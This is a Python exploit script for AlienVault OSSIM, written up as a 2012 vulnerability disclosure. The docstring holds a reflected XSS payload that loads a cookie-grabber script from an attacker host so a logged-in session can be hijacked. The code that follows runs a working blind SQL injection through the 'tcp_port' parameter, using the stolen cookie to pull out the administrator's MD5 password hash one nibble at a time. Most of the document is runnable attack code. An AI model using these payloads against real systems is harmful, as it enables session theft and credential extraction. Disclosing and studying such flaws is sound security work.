1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130 | #!/usr/bin/python
'''
AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php".
Proof of Concept:
Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session:
https://victim/ossim/top.php?option=3&soption=3&url=<script src=http://attacker/grabber.js></script>
With a cookie captured and a session hijacked, the blind SQL injection vulnerability in the "tcp_port" parameter of "base_qry_main.php" can be exploited to extract the admin hash.
Timeline:
# 28 May 2012: Vulnerability reported to CERT
# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 23 Jul 2012: Update from CERT: No response from AlienVault
# 23 Jul 2012: Public Disclosure
Special Thanks to Tal Zeltzer
When we access the vulnerable script at:
https://victim/ossim/forensics/base_qry_main.php
With an invalid sql statement in tcp_port[0][0] we see that there is an sql injection vulnerability
[Todo]: Add here description on how we got the original query
We concluded that since magic_quotes_gpc is enabled it will be difficult to obtain a shell quickly.
We decided to take a different approach, we will modify the query in a way that it will only return rows
If a specific field we are interested in has X as the Nth byte.
To optimize the speed we used an algorithm called 'binary search'
what we do is: (n being the Nth byte of the result string):
- check if X equals n
- If its not check if X is bigger than n
- If its not, X is smaller than n
We used this algorithm to extract data from files using the LOAD_FILE function
We also used this algorithm to extract the admin MD5 hashed password
'''
import sys,urllib2,urllib
# Example
# https://victim/ossim/forensics/base_qry_main.php?tcp_port[0][0]=1=1) and 2 = mid((select pass from ossim.users where login=0x61646d696e),1,1)--&tcp_port[0][1]=layer4_dport&tcp_port[0][2]==&tcp_port[0][3]=17500&tcp_port[0][4]= &tcp_port[0][5]= &tcp_flags[0]= &layer4=TCP&num_result_rows=-1¤t_view=-1&submit=QUERYDBP&sort_order=sig_a&clear_allcriteria=1&clear_criteria=time
target = 'https://victim/ossim/forensics/base_qry_main.php'
cookie = 'PHPSESSID=072af2ba52959b1602cc8fa864081d01'
debug = False
#
# We use this function to output debug information if required
#
def debugOut(str, newLine = True):
if debug == True:
if newLine == True:
print str
else:
print str,
#
# Injects the given sql-query and check if the results were 'True' or 'False'
#
def sendSql(query):
global target, cookie # We use the cookie and the target variables as globals
debugOut("Query: %s" % query) # Print the query we execute for debugging
values = { 'tcp_port[0][0]': query, # This is our injection parameter
'tcp_port[0][1]': 'layer4_dport',
'tcp_port[0][2]': '=',
'tcp_port[0][3]': 17500,
'tcp_port[0][4]': ' ',
'tcp_port[0][5]': ' ',
'tcp_flags[0]': ' ',
'layer4': 'TCP',
'num_result_rows': -1,
'current_view': -1,
'submit': 'QUERYDBP',
'sort_order': 'sig_a',
'clear_allcriteria': 1,
'clear_criteria': 'time' }
url = "%s?%s" % (target, urllib.urlencode(values)) # Create the request url
req = urllib2.Request(url) # Create a request for the specified url
req.add_header('Cookie', cookie) # Add the cookie we stolen using XSS to identify ourselves
try: # Exception handling
response = urllib2.urlopen(req) # Send the request and save the response object
except: # In-case of an exception
print 'Failed to SQL inject' # Notify the user that there was an error
sys.exit(-1) # Stop execution of our exploit
data = response.read() # Read the response data
# If the string 'No events...' is in not in our data the query is 'True'
return('No events matching your search criteria have been found' not in data)
#
# This function enumerates the value of a single nibble out of the admin hash
# It uses the "binary search" algorithm to narrow down the number of requests we send
#
def enumerateNibble(subQuery, location, iMin = 0x00, iMax = 0x0F):
n = (iMin + iMax) / 2 # Get the middle of our range
debugOut('Trying %d' % n, False) # Notify what value is we comparing the nibble to
# Test if the current value equals the nibble
if sendSql('1=1) and %s = cast(conv(mid(%s,%d,1), 16, 10) as unsigned integer)--' % (n, subQuery, location)) == True:
debugOut('Equals!') # If it is, notify
return(hex(n)[2:]) # Return the hex representation of the nibble's value
# Test if the current value is bigger than the nibble
elif sendSql('1=1) and %s > cast(conv(mid(%s,%d,1),16,10) as unsigned integer)--' % (n, subQuery, location)) == True:
debugOut('Bigger than') # If it is, notify
return(enumerateNibble(subQuery, location, iMin, n - 1)) # Use recursion to try again with the new reduced range
else: # If the current value is smaller than the nibble
debugOut('Smaller than') # If it is, notify
return(enumerateNibble(subQuery, location, n + 1, iMax)) # Use recursion to try again with the new reduced range
#
# Do the actual enumeration of the admin-hash
#
def enumerateAdminHash():
hash = '' # Initialize the 'hash' variable
for i in range(1,33): # Iterate from 1 to 32 (the size of the md5 hash)
# Append the nibble we enumerate from the given query
# (This query retrives the administrator hash (obviously..)
hash += str(enumerateNibble('(select pass from ossim.users where login=0x61646d696e)', i))
print 'At %d, So far: %s' % (i, hash) # Notify about our progress
return(hash) # When done, return the hash we enumerated
print "Trying to dump the administrator's hash"
print "Note: If we get stuck or get invalid results it's probably due to an invalid session"
hash = enumerateAdminHash()
print "Administrator MD5 hash:"
print "admin:%s" % hash
|